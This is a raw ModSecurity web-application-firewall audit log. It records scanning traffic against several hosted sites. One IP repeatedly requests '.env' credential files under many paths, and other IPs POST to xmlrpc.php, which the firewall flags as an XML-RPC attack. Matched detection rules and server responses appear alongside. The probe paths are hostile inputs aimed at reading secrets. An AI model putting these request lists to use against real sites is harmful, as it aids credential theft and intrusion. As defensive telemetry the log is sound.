aE99wAD0DwMUVKUIct3ahQAAAAI 185.177.72.210 33592 127.0.0.1 7081 --0aa7ee61-B-- GET /:8888/sites/all/libraries/mailchimp/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0aa7ee61-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ef289c22ce82ae2c98f49ef4d2a8162c1750040001; expires=Mon, 16 Jun 2025 03:13:21 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0aa7ee61-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/sites/all/libraries/mailchimp/.env"] [unique_id "aE99wAD0DwMUVKUIct3ahQAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040000625296 644864 (- - -) Stopwatch2: 1750040000625296 644864; combined=1949, p1=342, p2=1510, p3=0, p4=0, p5=96, sr=83, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0aa7ee61-Z-- --12d7c541-A-- [16/Jun/2025:07:43:35.958274 +0530] aE99zroFnONBt7jRcByaNwAAAA4 128.199.112.101 60296 127.0.0.1 7081 --12d7c541-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 500 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --12d7c541-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --12d7c541-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE99zroFnONBt7jRcByaNwAAAA4"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040014976048 982281 (- - -) Stopwatch2: 1750040014976048 982281; combined=2146, p1=400, p2=1402, p3=33, p4=46, p5=165, sr=107, sw=100, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --12d7c541-Z-- --3c365d57-A-- [16/Jun/2025:07:43:38.558080 +0530] aE990QS4XDlCv3KXioQKiwAAAAY 185.177.72.210 60462 127.0.0.1 7081 --3c365d57-B-- GET /configurationtionura/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3c365d57-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=eb78933c32b092fa1204c8f1e9a29efc1750040018; expires=Mon, 16 Jun 2025 03:13:38 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3c365d57-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/configurationtionura/.env"] [unique_id "aE990QS4XDlCv3KXioQKiwAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040017855151 702993 (- - -) Stopwatch2: 1750040017855151 702993; combined=1784, p1=374, p2=1314, p3=0, p4=0, p5=95, sr=91, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3c365d57-Z-- --7daa8a22-A-- [16/Jun/2025:07:43:38.729814 +0530] aE990vvF1ly0gx5reNmHbQAAAAE 223.233.68.38 60478 127.0.0.1 7081 --7daa8a22-B-- POST /xmlrpc.php HTTP/1.0 Host: archangledesignstudio.com X-Real-IP: 223.233.68.38 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 684 Content-Type: text/xml; charset=utf-8 Accept: */* Accept-Language: en-IN User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 --7daa8a22-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding,User-Agent Content-Type: text/xml; charset=UTF-8 --7daa8a22-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 223.233.68.38 (0+1 hits since last alert)|archangledesignstudio.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 223.233.68.38 (0+1 hits since last alert)|archangledesignstudio.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "archangledesignstudio.com"] [uri "/xmlrpc.php"] [unique_id "aE990vvF1ly0gx5reNmHbQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/archangledesignstudio.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040018466076 263799 (- - -) Stopwatch2: 1750040018466076 263799; combined=2361, p1=367, p2=1615, p3=58, p4=47, p5=173, sr=106, sw=101, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7daa8a22-Z-- --dccb877f-A-- [16/Jun/2025:07:43:43.763473 +0530] aE9917oFnONBt7jRcByaOwAAAA4 185.177.72.210 49060 127.0.0.1 7081 --dccb877f-B-- GET /:8443/app/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --dccb877f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=321be901f5828b65ecd109ca6ee5e73c1750040023; expires=Mon, 16 Jun 2025 03:13:43 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --dccb877f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/app/.env"] [unique_id "aE9917oFnONBt7jRcByaOwAAAA4"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040023082918 680633 (- - -) Stopwatch2: 1750040023082918 680633; combined=1655, p1=371, p2=1188, p3=0, p4=0, p5=96, sr=89, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --dccb877f-Z-- --21d60230-A-- [16/Jun/2025:07:43:45.022330 +0530] aE992GCnKbldJKSM7awdgAAAAAc 185.177.72.210 49220 127.0.0.1 7081 --21d60230-B-- GET /:5601/core/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --21d60230-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4ee0383cf4770985afd373a081b880cc1750040024; expires=Mon, 16 Jun 2025 03:13:44 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --21d60230-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/core/.env"] [unique_id "aE992GCnKbldJKSM7awdgAAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040024151736 870667 (- - -) Stopwatch2: 1750040024151736 870667; combined=1682, p1=370, p2=1221, p3=0, p4=0, p5=90, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --21d60230-Z-- --725f0360-A-- [16/Jun/2025:07:43:50.426169 +0530] aE993QD0DwMUVKUIct3aoAAAAAI 185.177.72.210 50754 127.0.0.1 7081 --725f0360-B-- GET /:8181/.env.www HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --725f0360-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d6abadfda045de3ceccc81fa5a8e6d651750040030; expires=Mon, 16 Jun 2025 03:13:50 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --725f0360-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/.env.www"] [unique_id "aE993QD0DwMUVKUIct3aoAAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040029769921 656323 (- - -) Stopwatch2: 1750040029769921 656323; combined=1989, p1=423, p2=1462, p3=0, p4=0, p5=103, sr=115, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --725f0360-Z-- --7c06f241-A-- [16/Jun/2025:07:43:54.321444 +0530] aE994QD0DwMUVKUIct3aogAAAAI 185.177.72.210 50870 127.0.0.1 7081 --7c06f241-B-- GET /app2-static/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7c06f241-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=77ce4178601c407e81c1a6173e7148ec1750040034; expires=Mon, 16 Jun 2025 03:13:54 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7c06f241-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/app2-static/.env"] [unique_id "aE994QD0DwMUVKUIct3aogAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040033641965 679538 (- - -) Stopwatch2: 1750040033641965 679538; combined=1749, p1=424, p2=1238, p3=0, p4=0, p5=86, sr=114, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7c06f241-Z-- --20587523-A-- [16/Jun/2025:07:43:57.522452 +0530] aE995PvF1ly0gx5reNmHdgAAAAE 185.177.72.210 51006 127.0.0.1 7081 --20587523-B-- GET /:8443/sites/all/libraries/mailchimp/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --20587523-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f2182fbc38f0477340ec05251a6ed3661750040037; expires=Mon, 16 Jun 2025 03:13:57 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --20587523-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/sites/all/libraries/mailchimp/.env"] [unique_id "aE995PvF1ly0gx5reNmHdgAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040036756724 765789 (- - -) Stopwatch2: 1750040036756724 765789; combined=1918, p1=369, p2=1458, p3=0, p4=0, p5=91, sr=108, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --20587523-Z-- --c92aa27a-A-- [16/Jun/2025:07:44:10.566568 +0530] aE998YkQyF8-ounHsxsLhwAAAA8 185.177.72.210 50540 127.0.0.1 7081 --c92aa27a-B-- GET /:5000/example/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c92aa27a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=057a79ba4910bd362cb34c60e41f89fb1750040050; expires=Mon, 16 Jun 2025 03:14:10 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c92aa27a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/example/.env"] [unique_id "aE998YkQyF8-ounHsxsLhwAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040049831330 735335 (- - -) Stopwatch2: 1750040049831330 735335; combined=1964, p1=447, p2=1414, p3=0, p4=0, p5=102, sr=106, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c92aa27a-Z-- --08ea0940-A-- [16/Jun/2025:07:44:28.848204 +0530] aE9-BPvF1ly0gx5reNmHiwAAAAE 185.177.72.210 49570 127.0.0.1 7081 --08ea0940-B-- GET /:8888/v2/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --08ea0940-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=55e975349bdbd704f4c667e670a545851750040068; expires=Mon, 16 Jun 2025 03:14:28 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --08ea0940-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/v2/.env"] [unique_id "aE9-BPvF1ly0gx5reNmHiwAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040068193589 654679 (- - -) Stopwatch2: 1750040068193589 654679; combined=2065, p1=372, p2=1601, p3=0, p4=0, p5=92, sr=97, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --08ea0940-Z-- --fa71ea68-A-- [16/Jun/2025:07:44:31.092298 +0530] aE9-BuMjvy_LHXlMeRAYMAAAAAU 185.177.72.210 51506 127.0.0.1 7081 --fa71ea68-B-- GET /framework/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --fa71ea68-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2f41ab3a18204a5b6daf332e317a0ac61750040070; expires=Mon, 16 Jun 2025 03:14:30 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --fa71ea68-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/framework/.env"] [unique_id "aE9-BuMjvy_LHXlMeRAYMAAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040070416313 676061 (- - -) Stopwatch2: 1750040070416313 676061; combined=1789, p1=364, p2=1315, p3=0, p4=0, p5=109, sr=89, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fa71ea68-Z-- --115b913b-A-- [16/Jun/2025:07:44:35.118082 +0530] aE9-CkN_xpBAtP8SIP08OwAAAAo 128.199.112.101 52036 127.0.0.1 7081 --115b913b-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --115b913b-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --115b913b-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9-CkN_xpBAtP8SIP08OwAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040074137150 980987 (- - -) Stopwatch2: 1750040074137150 980987; combined=2402, p1=369, p2=1716, p3=31, p4=47, p5=152, sr=88, sw=87, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --115b913b-Z-- --b6eb5262-A-- [16/Jun/2025:07:44:38.472011 +0530] aE9-DQD0DwMUVKUIct3awgAAAAI 185.177.72.210 52424 127.0.0.1 7081 --b6eb5262-B-- GET /.env.live HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b6eb5262-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6342ee3f9207a90cd0cf549061bb9ec51750040078; expires=Mon, 16 Jun 2025 03:14:38 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b6eb5262-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.live"] [unique_id 